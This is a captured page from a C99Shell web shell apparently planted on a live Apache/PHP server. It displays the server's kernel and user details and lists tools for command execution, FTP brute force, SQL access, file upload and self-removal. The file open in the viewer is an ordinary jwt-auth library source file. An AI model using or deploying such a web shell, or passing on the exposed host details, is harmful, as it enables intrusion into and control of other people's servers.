!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/php-open-source-saver/jwt-auth/src/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JWTAuth.php (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of jwt-auth.
 *
 * (c) 2014-2021 Sean Tymon <tymon148@gmail.com>
 * (c) 2021 PHP Open Source Saver
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace PHPOpenSourceSaver\JWTAuth;

use 
PHPOpenSourceSaver\JWTAuth\Contracts\JWTSubject;
use 
PHPOpenSourceSaver\JWTAuth\Contracts\Providers\Auth;
use 
PHPOpenSourceSaver\JWTAuth\Http\Parser\Parser;

class 
JWTAuth extends JWT
{
    
/**
     * The authentication provider.
     *
     * @var Auth
     */
    
protected $auth;

    
/**
     * Constructor.
     *
     * @return void
     */
    
public function __construct(Manager $managerAuth $authParser $parser)
    {
        
parent::__construct($manager$parser);
        
$this->auth $auth;
    }

    
/**
     * Attempt to authenticate the user and return the token.
     *
     * @return false|string
     */
    
public function attempt(array $credentials)
    {
        if (!
$this->auth->byCredentials($credentials)) {
            return 
false;
        }

        return 
$this->fromUser($this->user());
    }

    
/**
     * Authenticate a user via a token.
     *
     * @return JWTSubject|false
     */
    
public function authenticate()
    {
        
$id $this->getPayload()->get('sub');

        if (!
$this->auth->byId($id)) {
            return 
false;
        }

        return 
$this->user();
    }

    
/**
     * Alias for authenticate().
     *
     * @return JWTSubject|false
     */
    
public function toUser()
    {
        return 
$this->authenticate();
    }

    
/**
     * Get the authenticated user.
     *
     * @return JWTSubject
     */
    
public function user()
    {
        return 
$this->auth->user();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--